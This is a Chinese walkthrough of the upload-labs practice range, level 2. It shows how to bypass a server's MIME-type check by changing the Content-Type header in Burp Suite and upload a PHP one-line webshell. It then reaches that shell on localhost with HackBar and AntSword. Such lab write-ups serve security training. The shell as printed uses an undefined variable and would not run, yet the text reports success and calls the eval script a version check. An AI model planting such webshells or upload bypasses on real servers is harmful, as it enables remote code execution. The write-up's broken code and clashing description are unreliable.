upload-labs通关笔记-第2关 文件上传之MIME绕过

目录

一、MIME字段

[1. MIME 类型的作用](#1. MIME 类型的作用)

[2. 常见的 MIME 类型](#2. 常见的 MIME 类型)

二、实验准备

1.构造脚本

2.打开靶场

3.源码分析

三、修改MIME字段渗透法

1.选择shell脚本

2.bp开启拦截

3.上传脚本bp拦包

4.bp改包

5.获取脚本地址

6.获取木马URL

7.hackbar渗透

8.蚁剑渗透


本文通过《upload-labs靶场通关笔记系列》来进行upload-labs靶场的渗透实战,本文讲解upload-labs靶场第二关文件MIME渗透实战,通过修改MIME字段完成渗透。

一、MIME字段

MIME 类型(Multipurpose Internet Mail Extensions,多用途互联网邮件扩展)最初用于电子邮件系统,后来被广泛用于 HTTP协议,用于标识文件类型。在文件上传攻击中,MIME类型检测是攻击者常绕过的点。

1. MIME 类型的作用

  • 浏览器 :根据 Content-Type 决定如何处理文件(如显示图片、下载文件、执行脚本)。

  • 服务器 :用于校验上传文件的类型(如只允许 image/jpeg)。

2. 常见的 MIME 类型

文件类型 MIME 类型
JPEG 图片 image/jpeg
PNG 图片 image/png
GIF 图片 image/gif
PDF 文档 application/pdf
ZIP 压缩包 application/zip
JavaScript 文件 application/javascript
PHP 脚本 text/x-php(或 application/x-httpd-php
HTML 文件 text/html
纯文本文件 text/plain

二、实验准备

1.构造脚本

构造文件上传的脚本,内容为获取服务器的php版本信息

复制代码
<?php @eval($_post_pass02[ljn]); ?>

将脚本命名为 ljn_post_pass02.php

Note: 特别注意 脚本中符号均为英文符号

2.打开靶场

firefox打开upload-labs靶场的Pass-02文件上传MIME关卡,如下所示。

复制代码
http://127.0.0.1/upload-labs/Pass-02/index.php

进入文件上传MIME关卡,记得点击"清空上传文件",这一步手动清空已上传文件,确保此次试验为最新上传结果。

3.源码分析

分析server段源码,并进行详细注释,如下所示服务端通过检查了报文的mime字段来进行过滤,也就是MIME类型白名单。

复制代码
<?php
// 初始化上传状态和消息变量
$is_upload = false;  // 标记文件是否上传成功
$msg = null;         // 存储上传过程中的错误或提示信息

// 检查用户是否提交了表单(点击了提交按钮)
if (isset($_POST['submit'])) {
    // 检查上传目录是否存在
    if (file_exists(UPLOAD_PATH)) {
        // 检查文件类型是否为允许的图片类型(JPEG、PNG、GIF)
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || 
            ($_FILES['upload_file']['type'] == 'image/png') || 
            ($_FILES['upload_file']['type'] == 'image/gif')) {
            
            // 获取上传的临时文件路径
            $temp_file = $_FILES['upload_file']['tmp_name'];
            // 构造目标文件路径(UPLOAD_PATH/原始文件名)
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
            
            // 将临时文件移动到目标目录
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;  // 标记上传成功
            } else {
                $msg = '上传出错!';  // 移动文件失败
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';  // 文件类型不符合要求
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';  // 上传目录不存在
    }
}
?>

代码的不安全之处在于两点:

  • (1)仅检查了MIME类型,可以通过bp抓包修改绕过。
  • (2)保存文件的时候没有重命名文件,这样即使网页不回显文件保存路径,也有很大概率可以被攻击者猜测到。

综上,分析出服务器检测是否为图片,是通过HTTP request报文中MIME类型在Content-Type字段体现,故而可以通过如下方法进行渗透。

  • Bp改包法1:将php脚本发送到bp改包,将content-type:application/octet-stream改为image/jpeg或者image/jpg或者为image/png,然后将报文上传到服务器绕过检测。
  • bp改包法2:将脚本改为jpg后缀后上传,使通过前端过滤函数的检查, 然后将报文发送给bp,在bp中将报文改为php后缀并上传到服务器(这个与第一关的bp改包方法一样,本文不再赘述)。

三、修改MIME字段渗透法

1.选择shell脚本

进入到Pass02关卡,浏览选择构造好的脚本。

2.bp开启拦截

firefox开启bp代理,bp设置为inception on。

3.上传脚本bp拦包

点击上传,bp抓包,需要修改content-type。

4.bp改包

将content-type改为image/jpeg,并点击发送,文件上传成功

5.获取脚本地址

脚本上传成功,获取上传一句话木马脚本地址

6.获取木马URL

图片处右键复制图片地址,具体如下所示。

复制代码
http://127.0.0.1/upload-labs/upload/ljn_post_pass02.php

7.hackbar渗透

上传成功后用hackbar访问脚本

复制代码
​http://127.0.0.1/upload-labs/upload/ljn_post_pass02.php //URL地址
ljn=phpinfo();//Post参数

如下所示使用hackbar渗透的效果,成功获取到php信息

8.蚁剑渗透

上传成功后用蚁剑访问一句话木马

复制代码
​蚁剑shell地址:http://127.0.0.1/upload-labs/upload/ljn_post_pass02.php  
密码:ljn

如下所示,提示连接成功。

右键选择文件管理,如下所示渗透成功。

相关推荐
旺仔Sec11 小时前
新疆维吾尔自治区第一届“丝路杯”网络安全大赛暨2026年新疆职业院校技能大赛网络安全赛项竞赛样题
安全·web安全
嗨丶王哪跑21 小时前
网络安全主动防御技术与应用
运维·网络·安全·web安全
火白学安全1 天前
《Python红队攻防脚本零基础编写:入门篇(一)》
python·安全·web安全·网络安全·系统安全
好家伙VCC1 天前
**发散创新:渗透测试方法的深度探索与实践**随着网络安全形势日益严峻,渗透测试作为评估系统安全的
java·python·安全·web安全·系统安全
人邮异步社区1 天前
内网攻防实战图谱:从红队视角构建安全对抗体系
网络·安全·web安全
携欢1 天前
PortSwigger靶场之CSRF where token validation depends on request method通关秘籍
安全·web安全·csrf
周杰伦_Jay1 天前
【计算机网络表格图表解析】网络体系结构、数据链路层、网络层、传输层、应用层、网络安全、故障排查
计算机网络·安全·web安全
独行soc2 天前
2025年渗透测试面试题总结-106(题目+回答)
网络·python·安全·web安全·adb·渗透测试·安全狮
A Runner for leave2 天前
网络与通信安全课程复习汇总1——课程导入
网络·安全·web安全
KKKlucifer2 天前
生成式 AI 冲击下,网络安全如何破局?
网络·人工智能·web安全